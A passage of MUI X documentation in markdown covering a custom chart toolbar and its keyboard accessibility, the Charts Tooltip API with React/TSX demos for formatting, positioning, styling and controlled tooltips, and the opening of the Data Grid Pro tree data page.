            <ChartsToolbarZoomInTrigger render={<ToolbarButton size="small" />}>
              <ZoomInIcon />
            </ChartsToolbarZoomInTrigger>
          </Tooltip>
          <Tooltip title="Zoom out">
            <ChartsToolbarZoomOutTrigger render={<ToolbarButton size="small" />}>
              <ZoomOutIcon />
            </ChartsToolbarZoomOutTrigger>
          </Tooltip>

          <ResetZoomButton>Reset</ResetZoomButton>
          <VerticalDivider orientation="vertical" />
          <Tooltip title="Print">
            <ChartsToolbarPrintExportTrigger
              render={<ToolbarButton render={<IconButton size="small" />} />}
              options={{ fileName: 'ChartWithCustomToolbar' }}
            >
              <PrintIcon />
            </ChartsToolbarPrintExportTrigger>
          </Tooltip>
          <Tooltip title="Export as PNG">
            <ChartsToolbarImageExportTrigger
              render={<ToolbarButton render={<IconButton size="small" />} />}
              options={{ type: 'image/png', fileName: 'ChartWithCustomToolbar' }}
            >
              <PhotoIcon />
            </ChartsToolbarImageExportTrigger>
          </Tooltip>
        </Toolbar>
      </Stack>
    </Stack>
  );
}

export default function ChartsToolbarCustomToolbar() {
  return (
    <ScatterChartPro
      {...params}
      xAxis={[{ zoom: true }]}
      yAxis={[{ zoom: true }]}
      showToolbar
      slots={{ toolbar: CustomToolbar }}
      sx={{
        [`& .${chartsToolbarClasses.root}`]: {
          width: '100%',
          justifyContent: 'space-between',
          padding: 2,
          flex: 1,
          flexWrap: 'wrap',
          marginBottom: 2,
        },
      }}
    />
  );
}

```

## Accessibility

(WAI-ARIA: https://www.w3.org/WAI/ARIA/apg/patterns/toolbar/)

The component follows the WAI-ARIA authoring practices.

### ARIA

- The element rendered by the `<Toolbar />` component has the `toolbar` role.
- The element rendered by the `<Toolbar />` component has `aria-orientation` set to `horizontal`.
- You must apply a text label or an `aria-label` attribute to the `<ToolbarButton />`.

### Keyboard

The Toolbar component supports keyboard navigation.
It implements the roving tabindex pattern.

|                                                               Keys | Description                              |
| -----------------------------------------------------------------: | :--------------------------------------- |
|                                         <kbd class="key">Tab</kbd> | Moves focus into and out of the toolbar. |
| <kbd><kbd class="key">Shift</kbd>+<kbd class="key">Tab</kbd></kbd> | Moves focus into and out of the toolbar. |
|                                        <kbd class="key">Left</kbd> | Moves focus to the previous button.      |
|                                       <kbd class="key">Right</kbd> | Moves focus to the next button.          |
|                                        <kbd class="key">Home</kbd> | Moves focus to the first button.         |
|                                         <kbd class="key">End</kbd> | Moves focus to the last button.          |

---

# Source: https://mui.com/x/react-charts/tooltip.md

---
title: Charts - Tooltip
productId: x-charts
components: ChartsTooltip, ChartsAxisTooltipContent, ChartsItemTooltipContent, ChartsTooltipContainer
---

# Charts - Tooltip

Tooltip provides extra data on charts item.

In all charts components, the tooltip is accessible via the slot `tooltip`.
If you are using composition, you can use the `<ChartsTooltip />` component.

## Tooltip trigger

The Tooltip can be triggered by two kinds of events:

- `'item'`—when the user's mouse hovers over an item on the chart, the tooltip displays data about this specific item.
- `'axis'`—the user's mouse position is associated with a value of the x-axis. The tooltip displays data about all series at this specific x value.
- `'none'`—disable the tooltip.

To pass this trigger attribute to the tooltip use `slotProps.tooltip.trigger`.

```tsx
import Stack from '@mui/material/Stack';
import { BarChart } from '@mui/x-charts/BarChart';

const barChartsParams = {
  xAxis: [{ data: ['page A', 'page B', 'page C', 'page D', 'page E'] }],
  series: [
    { data: [2, 5, 3, 4, 1], stack: '1', label: 'Series x' },
    { data: [10, 3, 1, 2, 10], stack: '1', label: 'Series y' },
    { data: [10, 3, 1, 2, 10], stack: '1', label: 'Series z' },
  ],
  margin: { top: 20, right: 10 },
  height: 200,
  hideLegend: true,
};
export default function Interaction() {
  return (
    <Stack direction="column" sx={{ width: '100%', maxWidth: 400 }}>
      <BarChart {...barChartsParams} slotProps={{ tooltip: { trigger: 'axis' } }} />
      <BarChart {...barChartsParams} slotProps={{ tooltip: { trigger: 'item' } }} />
    </Stack>
  );
}

```

## Formatting

The format of data rendered in the tooltip can be modified thanks to the series `valueFormatter` property.
The same can be applied to axes values when a tooltip is triggered by the `'axis'`.

Here is a demo with:

- The time axis values formatted to only show the year
- The series values are formatted in U.S. Dollars.

```tsx
import { LineChart } from '@mui/x-charts/LineChart';

const years = [
  new Date(1990, 0, 1),
  new Date(1991, 0, 1),
  new Date(1992, 0, 1),
  new Date(1993, 0, 1),
  new Date(1994, 0, 1),
  new Date(1995, 0, 1),
  new Date(1996, 0, 1),
  new Date(1997, 0, 1),
  new Date(1998, 0, 1),
  new Date(1999, 0, 1),
  new Date(2000, 0, 1),
  new Date(2001, 0, 1),
  new Date(2002, 0, 1),
  new Date(2003, 0, 1),
  new Date(2004, 0, 1),
  new Date(2005, 0, 1),
  new Date(2006, 0, 1),
  new Date(2007, 0, 1),
  new Date(2008, 0, 1),
  new Date(2009, 0, 1),
  new Date(2010, 0, 1),
  new Date(2011, 0, 1),
  new Date(2012, 0, 1),
  new Date(2013, 0, 1),
  new Date(2014, 0, 1),
  new Date(2015, 0, 1),
  new Date(2016, 0, 1),
  new Date(2017, 0, 1),
  new Date(2018, 0, 1),
];

const FranceGDPperCapita = [
  28129, 28294.264, 28619.805, 28336.16, 28907.977, 29418.863, 29736.645, 30341.807,
  31323.078, 32284.611, 33409.68, 33920.098, 34152.773, 34292.03, 35093.824,
  35495.465, 36166.16, 36845.684, 36761.793, 35534.926, 36086.727, 36691, 36571,
  36632, 36527, 36827, 37124, 37895, 38515.918,
];

const UKGDPperCapita = [
  26189, 25792.014, 25790.186, 26349.342, 27277.543, 27861.215, 28472.248, 29259.764,
  30077.385, 30932.537, 31946.037, 32660.441, 33271.3, 34232.426, 34865.78,
  35623.625, 36214.07, 36816.676, 36264.79, 34402.36, 34754.473, 34971, 35185, 35618,
  36436, 36941, 37334, 37782.83, 38058.086,
];

const GermanyGDPperCapita = [
  25391, 26769.96, 27385.055, 27250.701, 28140.057, 28868.945, 29349.982, 30186.945,
  31129.584, 32087.604, 33367.285, 34260.29, 34590.93, 34716.44, 35528.715,
  36205.574, 38014.137, 39752.207, 40715.434, 38962.938, 41109.582, 43189, 43320,
  43413, 43922, 44293, 44689, 45619.785, 46177.617,
];

const lineChartsParams = {
  series: [
    {
      label: 'French GDP per capita',
      data: FranceGDPperCapita,
      showMark: false,
    },
    {
      label: 'German GDP per capita',
      data: GermanyGDPperCapita,
      showMark: false,
    },
    {
      label: 'UK GDP per capita',
      data: UKGDPperCapita,
      showMark: false,
    },
  ],
  height: 300,
  margin: { left: 0 },
  yAxis: [{ width: 50 }],
};

const yearFormatter = (date: Date) => date.getFullYear().toString();
const currencyFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
}).format;

export default function Formatting() {
  return (
    <LineChart
      {...lineChartsParams}
      xAxis={[{ data: years, scaleType: 'time', valueFormatter: yearFormatter }]}
      series={lineChartsParams.series.map((series) => ({
        ...series,
        valueFormatter: (v) => (v === null ? '' : currencyFormatter(v)),
      }))}
    />
  );
}

```

### Advanced formatting

The series `valueFormatter` provides a context as its second argument containing a `dataIndex` property which you can use to calculate other data-related values.

In the demo below you can notice we use `dataIndex` to add each team's rank in the tooltip.

```tsx
import { PieChart, PieChartProps } from '@mui/x-charts/PieChart';
import { legendClasses } from '@mui/x-charts/ChartsLegend';

const otherProps: Partial<PieChartProps> = {
  width: 200,
  height: 200,
  sx: {
    [`.${legendClasses.root}`]: {
      transform: 'translate(20px, 0)',
    },
  },
};

const data = [
  { team: 'Amber Ants', rank: 3, points: 31 },
  { team: 'Eagle Warriors', rank: 1, points: 50 },
  { team: 'Elephant Trunk', rank: 4, points: 18 },
  { team: 'Jaguars', rank: 2, points: 37 },
  { team: 'Smooth Pandas', rank: 5, points: 6 },
];

export default function SeriesFormatter() {
  return (
    <PieChart
      series={[
        {
          data: data.map((d) => ({ label: d.team, id: d.team, value: d.points })),
          valueFormatter: (v, { dataIndex }) => {
            const { rank } = data[dataIndex];
            return `has ${v.value} points and is ranked ${rank}.`;
          },
        },
      ]}
      {...otherProps}
    />
  );
}

```

### Axis formatter

To modify how data is displayed in the axis use the `valueFormatter` property.

Its second argument is a context that provides a `location` property with either `'tick'` or `'tooltip'`.

In this demo, you can see:

- The country axis displays only the country code
- The label displays annotated data `Country: name (code)`

```tsx
import { BarChart, BarChartProps } from '@mui/x-charts/BarChart';

const dataset = [
  { name: 'Austria', code: 'AT', gdp: 471 },
  { name: 'Belgium', code: 'BE', gdp: 583 },
  { name: 'Bulgaria', code: 'BG', gdp: 90.35 },
  { name: 'Croatia', code: 'HR', gdp: 71.6 },
  { name: 'Czech Republic', code: 'CZ', gdp: 291 },
  { name: 'Denmark', code: 'DK', gdp: 400 },
  { name: 'Finland', code: 'FI', gdp: 283 },
  { name: 'France', code: 'FR', gdp: 2779 },
  { name: 'Germany', code: 'DE', gdp: 4082 },
  { name: 'Greece', code: 'GR', gdp: 218 },
  { name: 'Hungary', code: 'HU', gdp: 177 },
  { name: 'Ireland', code: 'IE', gdp: 533 },
  { name: 'Italy', code: 'IT', gdp: 2050 },
  { name: 'Netherlands', code: 'NL', gdp: 1009 },
  { name: 'Poland', code: 'PL', gdp: 688 },
  { name: 'Portugal', code: 'PT', gdp: 255 },
  { name: 'Romania', code: 'RO', gdp: 301 },
  { name: 'Slovakia', code: 'SK', gdp: 115 },
  { name: 'Spain', code: 'ES', gdp: 1418 },
  { name: 'Sweden', code: 'SE', gdp: 591 },
];

const chartParams: BarChartProps = {
  yAxis: [
    {
      label: 'GDP (million $USD)',
      width: 70,
    },
  ],
  series: [
    {
      label: 'GDP',
      dataKey: 'gdp',
      valueFormatter: (v) =>
        new Intl.NumberFormat('en-US', {
          style: 'currency',
          currency: 'USD',
          compactDisplay: 'short',
          notation: 'compact',
        }).format((v || 0) * 1_000_000),
    },
  ],
  margin: { left: 0 },
  hideLegend: true,
  dataset,
  height: 400,
};

export default function AxisFormatter() {
  return (
    <BarChart
      xAxis={[
        {
          scaleType: 'band',
          dataKey: 'code',
          valueFormatter: (code, context) =>
            context.location === 'tick'
              ? code
              : `Country: ${dataset.find((d) => d.code === code)?.name} (${code})`,
        },
      ]}
      {...chartParams}
    />
  );
}

```

### Label formatting

The label text inside the tooltip can also be formatted conditionally by providing a function to the series `label` property.

Here is an example of how to shorten series label in the tooltip but not the legend.

```jsx
<LineChart
  // ...
  series={[
    {
      data: [ ... ],
      label: (location) => location === 'tooltip' ? 'BR' : 'Brazil'
    }
  ]}
/>
```

:::info
See [Label—Conditional formatting](/x/react-charts/label/#conditional-formatting) for more details.
:::

## Hiding values

### Axis

You can hide the axis value with `hideTooltip` in the axis props.
It removes the header showing the x-axis value from the tooltip.

```jsx
<LineChart
  // ...
  xAxis={[{ data: [ ... ], hideTooltip: true }]}
/>
```

### Series

To hide a series, the formatted value should be `null`.
To display the series with a blank space, return an empty string.

## Position

By default the tooltip is placed relative to the pointer position.
If the pointer is not available, it is placed relative to the node instead (for example, the bar in a bar chart).

This behavior can be modified with the `anchor`, `position`, and `placement` props.

- The `anchor: 'pointer' | 'node'` indicates if the tooltip should be placed relative to the pointer or the node.
- The `position: 'top' | 'right' | 'bottom' | 'left'` defines the anchor position compared to the node. This prop has no effect if the anchor is the pointer.
- The `placement` is the tooltip placement from [PopperJS](https://popper.js.org/docs/v2/constructors/#options). It specifies the tooltip position in relation to the anchor position. By default the same value as `position` if defined.

For example, setting `anchor: 'node'`, `position: 'bottom'` and `placement: 'top'` on a bar chart would render a tooltip above the bottom of a bar.

You can pass those props to the tooltip using `slotProps.tooltip`, or directly to either `<ChartsTooltip />` or `<ChartsTooltipContainer />` if you're using composition.

```tsx
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';
import { BarChart } from '@mui/x-charts/BarChart';
import { AxisValueFormatterContext } from '@mui/x-charts/models';
import { dataset, valueFormatter } from '../dataset/weather';

const chartSetting = {
  height: 300,
};

export default function TooltipPosition() {
  return (
    <ChartsUsageDemo
      componentName="Tooltip"
      data={
        {
          anchor: {
            knob: 'select',
            defaultValue: 'node',
            options: ['undefined', 'pointer', 'node'],
          },

          position: {
            knob: 'select',
            defaultValue: 'top',
            options: ['undefined', 'top', 'bottom', 'left', 'right'],
          },
          placement: {
            knob: 'select',
            defaultValue: 'undefined',
            options: [
              'undefined',
              'top',
              'bottom',
              'left',
              'right',
              'top-start',
              'top-end',
              'bottom-start',
              'bottom-end',
            ],
          },
        } as const
      }
      renderDemo={(props) => (
        <Box sx={{ width: '100%' }}>
          <Typography variant="h6" gutterBottom>
            Monthly precipitation
          </Typography>
          <BarChart
            dataset={dataset}
            xAxis={[
              {
                dataKey: 'month',
                label: 'months',
                height: 50,
                valueFormatter: (
                  value: string,
                  ctx: AxisValueFormatterContext<'band'>,
                ) => (ctx.location === 'tick' ? value.slice(0, 1) : value),
              },
            ]}
            series={[
              { dataKey: 'london', label: 'London', valueFormatter },
              { dataKey: 'paris', label: 'Paris', valueFormatter },
              { dataKey: 'newYork', label: 'New York', valueFormatter },
              { dataKey: 'seoul', label: 'Seoul', valueFormatter },
            ]}
            slotProps={{
              tooltip: {
                trigger: 'item',
                anchor: props.anchor === 'undefined' ? undefined : props.anchor,
                position:
                  props.position === 'undefined' ? undefined : props.position,
                placement:
                  props.placement === 'undefined' ? undefined : props.placement,
              },
            }}
            enableKeyboardNavigation
            {...chartSetting}
          />
        </Box>
      )}
      getCode={({ props }) => `import { BarChart } from '@mui/x-charts/BarChart';

<BarChart
  // ...
  slotProps={{
    tooltip: {
      trigger: 'item',${
        props.anchor === 'undefined'
          ? ''
          : `
        anchor: '${props.anchor}',`
      }${
        props.position === 'undefined'
          ? ''
          : `
        position: '${props.position}',`
      }${
        props.placement === 'undefined'
          ? ''
          : `
        placement: '${props.placement}',`
      }
      },
    }}
/>`}
    />
  );
}

```

## Style modification

The tooltip can be styled using CSS classes, similar to other elements.
However, there is one caveat regarding using [portal](https://react.dev/reference/react-dom/createPortal).

The tooltip renders as a child of the document's body element.
From a DOM perspective, it's not inside the chart.
So using the chart's `sx` prop as follows does not work:

```tsx
import { chartsTooltipClasses } from '@mui/x-charts';

<LineChart
  sx={{
    [`& .${chartsTooltipClasses.root} .${chartsTooltipClasses.valueCell}`]: {
      color: 'red',
    },
  }}
/>;
```

To apply the same style as above, use the `sx` prop of the tooltip itself, which should be set in `slotProps.tooltip`.

```tsx
import { LineChart } from '@mui/x-charts/LineChart';
import { chartsTooltipClasses } from '@mui/x-charts/ChartsTooltip';

const params = {
  xAxis: [{ data: [1, 2, 3, 5, 8, 10] }],
  series: [{ data: [2, 5.5, 2, 8.5, 1.5, 5] }],
  height: 300,
  axisHighlight: { x: 'line' },
} as const;

export default function TooltipStyle() {
  return (
    <LineChart
      {...params}
      slotProps={{
        tooltip: {
          sx: {
            [`&.${chartsTooltipClasses.root} .${chartsTooltipClasses.valueCell}`]: {
              color: 'red',
            },
          },
        },
      }}
    />
  );
}

```

Another option is to disable the portal by setting `slotProps.tooltip.disablePortal` to `true`.
In that case, the tooltip renders as a child of the chart, and CSS rules apply as expected.

## Using a custom tooltip

For advanced use cases, it can be necessary to create your own tooltip.
You can replace the default tooltip in single component charts by using slots.

```jsx
<LineChart slots={{ tooltip: CustomItemTooltip }} />
```

With composition, you can use your component inside the `ChartDataProvider`.

```jsx
<ChartDataProvider>
  <ChartsSurface>{/* ... */}</ChartsSurface>
  <CustomItemTooltip />
</ChartDataProvider>
```

## Controlling item tooltip

You can control the item tooltip with `tooltipItem` and `onTooltipItemChange`.

When the item tooltip is controlled, the `anchor` is set to `'node'` if the pointer is outside of the chart.

:::warning
Make sure the tooltip `trigger` is set to `"item"`.
Otherwise no tooltip will be shown.
:::

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';
import ToggleButton from '@mui/material/ToggleButton';
import { BarChart, BarChartProps } from '@mui/x-charts/BarChart';
import FormControl from '@mui/material/FormControl';
import FormControlLabel from '@mui/material/FormControlLabel';
import FormLabel from '@mui/material/FormLabel';
import Radio from '@mui/material/Radio';
import RadioGroup from '@mui/material/RadioGroup';
import { BarItemIdentifier } from '@mui/x-charts/models';

export default function ControlledTooltip() {
  const [tooltipItem, setTooltipItem] = React.useState<BarItemIdentifier | null>({
    type: 'bar',
    seriesId: 'A',
    dataIndex: 0,
  });

  const handleTooltipSeries = (event: any, newTooltipSeries: string) => {
    if (newTooltipSeries !== null) {
      setTooltipItem((prev) => ({
        type: 'bar',
        dataIndex: 0,
        ...prev,
        seriesId: newTooltipSeries,
      }));
    }
  };

  const handleTooltipItem = (event: any) => {
    setTooltipItem((prev) => ({
      type: 'bar',
      seriesId: 'A',
      ...prev,
      dataIndex: Number(event.target.value),
    }));
  };

  return (
    <Stack
      direction={{ xs: 'column', xl: 'row' }}
      spacing={1}
      sx={{ width: '100%' }}
    >
      <Box sx={{ flexGrow: 1 }}>
        <Stack spacing={2} alignItems={'center'}>
          <ToggleButtonGroup
            value={tooltipItem?.seriesId ?? null}
            exclusive
            onChange={handleTooltipSeries}
            aria-label="highlighted series"
            fullWidth
          >
            {['A', 'B'].map((type) => (
              <ToggleButton key={type} value={type}>
                Series {type}
              </ToggleButton>
            ))}
          </ToggleButtonGroup>
          <FormControl>
            <FormLabel id="item-id-radio-group">Item ID</FormLabel>
            <RadioGroup
              aria-labelledby="item-id-radio-group"
              name="radio-buttons-group"
              value={tooltipItem?.dataIndex ?? null}
              onChange={handleTooltipItem}
              row
            >
              <FormControlLabel value="0" control={<Radio />} label="0" />
              <FormControlLabel value="1" control={<Radio />} label="1" />
              <FormControlLabel value="2" control={<Radio />} label="2" />
              <FormControlLabel value="3" control={<Radio />} label="3" />
              <FormControlLabel value="4" control={<Radio />} label="4" />
            </RadioGroup>
          </FormControl>
        </Stack>
        <BarChart
          {...barChartsProps}
          slotProps={{ tooltip: { trigger: 'item' } }}
          tooltipItem={tooltipItem}
          onTooltipItemChange={setTooltipItem}
        />
      </Box>
    </Stack>
  );
}

const barChartsProps: BarChartProps = {
  series: [
    {
      data: [3, 4, 1, 6, 5],
      label: 'A',
      id: 'A',
      highlightScope: { highlight: 'item', fade: 'global' },
    },
    {
      data: [4, 3, 1, 5, 8],
      label: 'B',
      id: 'B',
      highlightScope: { highlight: 'item', fade: 'global' },
    },
  ],
  height: 400,
};

```

### Synchronizing item tooltip

The item tooltip control can be used to sync tooltip between multiple charts.

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import { styled } from '@mui/material/styles';
import { BarChart, BarChartProps } from '@mui/x-charts/BarChart';
import { PieChart, PieChartProps } from '@mui/x-charts/PieChart';
import { BarItemIdentifier, PieItemIdentifier } from '@mui/x-charts/models';

const CodeBlock = styled('pre')({
  minHeight: 125,
});
export default function SyncTooltip() {
  const [pieTooltipItem, setPieTooltipItem] =
    React.useState<PieItemIdentifier | null>(null);
  const [barTooltipItem, setBarTooltipItem] =
    React.useState<BarItemIdentifier | null>(null);

  return (
    <Stack
      direction={{ xs: 'column', md: 'row' }}
      spacing={1}
      sx={{ width: '100%' }}
    >
      <Stack direction="column" spacing={1}>
        <BarChart
          {...barChartsProps}
          slotProps={{ tooltip: { trigger: 'item' } }}
          tooltipItem={barTooltipItem}
          onTooltipItemChange={(newItem) => {
            setBarTooltipItem(newItem);
            setPieTooltipItem(
              newItem === null
                ? null
                : ({
                    ...newItem,
                    type: 'pie',
                  } as PieItemIdentifier | null),
            );
          }}
        />
        <CodeBlock>
          Tooltip Item: {JSON.stringify(barTooltipItem, null, 2)}
        </CodeBlock>
      </Stack>
      <Stack direction="column" spacing={1}>
        <PieChart
          {...pieChartProps}
          tooltipItem={pieTooltipItem}
          onTooltipItemChange={(newItem) => {
            setPieTooltipItem(newItem);
            setBarTooltipItem(
              newItem === null
                ? null
                : ({
                    ...newItem,
                    type: 'bar',
                  } as BarItemIdentifier | null),
            );
          }}
        />
        <CodeBlock>
          Tooltip Item: {JSON.stringify(pieTooltipItem, null, 2)}
        </CodeBlock>
      </Stack>
    </Stack>
  );
}

const barChartsProps: BarChartProps = {
  series: [
    {
      data: [3, 4, 1, 6, 5],
      id: 'sync',
      highlightScope: { highlight: 'item', fade: 'global' },
    },
  ],
  xAxis: [{ data: ['A', 'B', 'C', 'D', 'E'] }],
  height: 200,
  hideLegend: true,
};

const pieChartProps: PieChartProps = {
  series: [
    {
      id: 'sync',
      data: [
        { value: 3, label: 'A', id: 'A' },
        { value: 4, label: 'B', id: 'B' },
        { value: 1, label: 'C', id: 'C' },
        { value: 6, label: 'D', id: 'D' },
        { value: 5, label: 'E', id: 'E' },
      ],
      highlightScope: { highlight: 'item', fade: 'global' },
    },
  ],
  height: 150,
  hideLegend: true,
};

```

## Creating a tooltip

To create your custom tooltip, the library exports some helpers which are explained in the following sections:

- `<ChartsTooltipContainer />` a wrapper providing the open/close state and the position of the tooltip.
- `<ChartsItemTooltipContent />` renders the content of the default item tooltip.
- `<ChartsAxisTooltipContent />` renders the content of the default axis tooltip.
- `useItemTooltip()` provides all basic information associated to the current item tooltip.
- `useAxesTooltip()` provides all basic information associated to the current axes tooltip.

### Modifying the position

To override the tooltip position, you can create a wrapper that manages the position.

```jsx
function CustomTooltipPopper(props){
  // ... (event management) ...

  return <NoSsr>
      <Popper {/* position */}>
        {props.children}
      </Popper>
    </NoSsr>
}
```

Then you can either render built-in content (with `<ChartsItemTooltipContent />` or `<ChartsAxisTooltipContent />`) or your own component.

```jsx
<CustomTooltipPopper>
  <ChartsItemTooltipContent />
</CustomTooltipPopper>
```

The following demo shows how to use additional hooks such as `useXAxis()` and `useDrawingArea()` to customize the tooltip position.

```tsx
import * as React from 'react';
import FormControlLabel from '@mui/material/FormControlLabel';
import FormControl from '@mui/material/FormControl';
import FormLabel from '@mui/material/FormLabel';
import RadioGroup from '@mui/material/RadioGroup';
import Radio from '@mui/material/Radio';
import { ChartContainer } from '@mui/x-charts/ChartContainer';
import { BarPlot } from '@mui/x-charts/BarChart';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsClipPath } from '@mui/x-charts/ChartsClipPath';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
import {
  ChartsTooltipContainer,
  ChartsItemTooltipContent,
} from '@mui/x-charts/ChartsTooltip';
import { ItemTooltip } from './ItemTooltip';
import { ItemTooltipFixedY } from './ItemTooltipFixedY';
import { ItemTooltipTopElement } from './ItemTooltipTopElement';
import { dataset, valueFormatter } from '../dataset/weather';

export default function CustomTooltipPosition() {
  const [tooltipType, setTootltipType] = React.useState<
    'mouse' | 'fixedY' | 'itemTop'
  >('itemTop');

  const id = React.useId();
  const clipPathId = `${id}-clip-path`;

  // Pick one of the custom tooltip wrapper according to the state.
  const TooltipPlacement =
    (tooltipType === 'mouse' && ItemTooltip) ||
    (tooltipType === 'fixedY' && ItemTooltipFixedY) ||
    (tooltipType === 'itemTop' && ItemTooltipTopElement) ||
    ChartsTooltipContainer;

  return (
    <div style={{ width: '100%' }}>
      <FormControl>
        <FormLabel id="tooltip-placement-radio-buttons-group-label">
          tooltip placement
        </FormLabel>
        <RadioGroup
          row
          aria-labelledby="tooltip-placement-radio-buttons-group-label"
          name="tooltip-placement"
          value={tooltipType}
          onChange={(event) =>
            setTootltipType(event.target.value as 'mouse' | 'fixedY' | 'itemTop')
          }
        >
          <FormControlLabel value="mouse" control={<Radio />} label="mouse" />
          <FormControlLabel
            value="fixedY"
            control={<Radio />}
            label="top of chart"
          />
          <FormControlLabel value="itemTop" control={<Radio />} label="top of bar" />
        </RadioGroup>
      </FormControl>
      <ChartContainer
        height={300}
        dataset={dataset}
        series={[
          { type: 'bar', dataKey: 'seoul', label: 'Seoul', valueFormatter },
          { type: 'bar', dataKey: 'paris', label: 'Paris', valueFormatter },
        ]}
        xAxis={[{ scaleType: 'band', dataKey: 'month' }]}
      >
        <g clipPath={`url(#${clipPathId})`}>
          <BarPlot />
        </g>
        <ChartsXAxis />
        <ChartsYAxis />

        {/* Our custom tooltip wrapper with the default item content. */}
        <TooltipPlacement>
          <ChartsItemTooltipContent />
        </TooltipPlacement>

        <ChartsClipPath id={clipPathId} />
      </ChartContainer>
    </div>
  );
}

```

#### Modifying the content

To keep the default placement, use the `<ChartsTooltipContainer />` wrapper.
It accepts a prop `trigger = 'item' | 'axis'` that defines when the Popper should open.

##### Item content

The `useItemTooltip()` hook provides the information about the current item the user is interacting with.
It contains:

- `identifier`: An object that identify the item. Which often contains its series type, series id, and data index.
- `color`: The color used to display the item. This includes the impact of [color map](/x/react-charts/styling/#values-color).
- `label`, `value`, `formattedValue`: Values computed to simplify the tooltip creation.

```tsx
import * as React from 'react';
import { ChartContainer } from '@mui/x-charts/ChartContainer';
import { BarPlot } from '@mui/x-charts/BarChart';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsClipPath } from '@mui/x-charts/ChartsClipPath';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
import { ChartsTooltipContainer } from '@mui/x-charts/ChartsTooltip';
import { CustomItemTooltip } from './CustomItemTooltip';
import { dataset, valueFormatter } from '../dataset/weather';

export default function CustomTooltipContent() {
  const id = React.useId();
  const clipPathId = `${id}-clip-path`;
  return (
    <div style={{ width: '100%' }}>
      <ChartContainer
        height={300}
        dataset={dataset}
        series={[
          { type: 'bar', dataKey: 'seoul', label: 'Seoul', valueFormatter },
          { type: 'bar', dataKey: 'paris', label: 'Paris', valueFormatter },
        ]}
        xAxis={[{ scaleType: 'band', dataKey: 'month' }]}
      >
        <ChartsClipPath id={clipPathId} />
        <g clipPath={`url(#${clipPathId})`}>
          <BarPlot />
        </g>
        <ChartsXAxis />
        <ChartsYAxis />
        <ChartsTooltipContainer trigger="item">
          <CustomItemTooltip />
        </ChartsTooltipContainer>
      </ChartContainer>
    </div>
  );
}

```

#### Axis content

The `useAxesTooltip()` hook returns the information about the current axes user is interacting with and the relevant series.
For each axis, it contains:

- `identifier`: An object that identify the axis. Which often contains its series type, series id, and data index.
- `color`: The color used to display the item. This includes the impact of [color map](/x/react-charts/styling/#values-color).
- `label`, `value`, `formattedValue`: Values computed to simplify the tooltip creation.

```tsx
import * as React from 'react';
import { ChartContainer } from '@mui/x-charts/ChartContainer';
import { BarPlot } from '@mui/x-charts/BarChart';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsClipPath } from '@mui/x-charts/ChartsClipPath';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
import { ChartsTooltipContainer } from '@mui/x-charts/ChartsTooltip';
import { CustomAxisTooltip } from './CustomAxisTooltip';
import { dataset, valueFormatter } from '../dataset/weather';

export default function CustomAxisTooltipContent() {
  const id = React.useId();
  const clipPathId = `${id}-clip-path`;
  return (
    <div style={{ width: '100%' }}>
      <ChartContainer
        height={300}
        dataset={dataset}
        series={[
          { type: 'bar', dataKey: 'seoul', label: 'Seoul', valueFormatter },
          { type: 'bar', dataKey: 'paris', label: 'Paris', valueFormatter },
        ]}
        xAxis={[{ scaleType: 'band', dataKey: 'month' }]}
      >
        <ChartsClipPath id={clipPathId} />
        <g clipPath={`url(#${clipPathId})`}>
          <BarPlot />
        </g>
        <ChartsXAxis />
        <ChartsYAxis />

        <ChartsTooltipContainer trigger="axis">
          <CustomAxisTooltip />
        </ChartsTooltipContainer>
      </ChartContainer>
    </div>
  );
}

```

---

# Source: https://mui.com/x/react-data-grid/server-side-data/tree-data.md

# Source: https://mui.com/x/react-data-grid/tree-data.md

---
title: Data Grid - Tree data
---

# Data Grid - Tree data [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

Use tree data to render rows with parent-child relationships in the Data Grid.

Trees are hierarchical data structures that organize data into parent-child relationships.
The Data Grid Pro can use tree data to render rows that conform to this pattern.
The demo below illustrates this feature with a large and complex hierarchical dataset:

```tsx
import { DataGridPro, useGridApiRef } from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';
import Button from '@mui/material/Button';

export default function TreeDataFullExample() {
  const apiRef = useGridApiRef();
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    rowLength: 1000,
    treeData: { maxDepth: 2, groupingField: 'name', averageChildren: 200 },
  });

  return (
    <div style={{ width: '100%' }}>
      <Button onClick={() => apiRef.current?.expandAllRows()}>Expand all</Button>
      <Button onClick={() => apiRef.current?.collapseAllRows()}>Collapse all</Button>
      <div style={{ height: 400 }}>
        <DataGridPro loading={loading} {...data} apiRef={apiRef} />
      </div>
    </div>
  );
}

```

:::info
This document covers client-side data.
For tree data on the server side, see [Server-side data—Tree data](/x/react-data-grid/server-side-data/tree-data/).
:::

## Rendering tree data

To work with tree data, pass the `treeData` and `getTreeDataPath` props to the `<DataGridPro />` component.
The `getTreeDataPath` function returns an array of strings representing the path to a given row.

```tsx
<DataGridPro treeData getTreeDataPath={getTreeDataPath} />
```

Both examples that follow will render a tree that looks like this:

```tsx
// - Sarah
//     - Thomas
//         - Robert
//         - Karen
```

**1. Without transformation:**

```tsx
const columns: GridColDef[] = [{ field: 'jobTitle', width: 250 }];

const rows: GridRowsProp = [
  { path: ['Sarah'], jobTitle: 'CEO', id: 0 },
  { path: ['Sarah', 'Thomas'], jobTitle: 'Head of Sales', id: 1 },
  { path: ['Sarah', 'Thomas', 'Robert'], jobTitle: 'Sales Person', id: 2 },
  { path: ['Sarah', 'Thomas', 'Karen'], jobTitle: 'Sales Person', id: 3 },
];

const getTreeDataPath: DataGridProProps['getTreeDataPath'] = (row) => row.path;

<DataGridPro
  treeData
  getTreeDataPath={getTreeDataPath}
  rows={rows}
  columns={columns}
/>;
```

**2. With transformation:**

```tsx
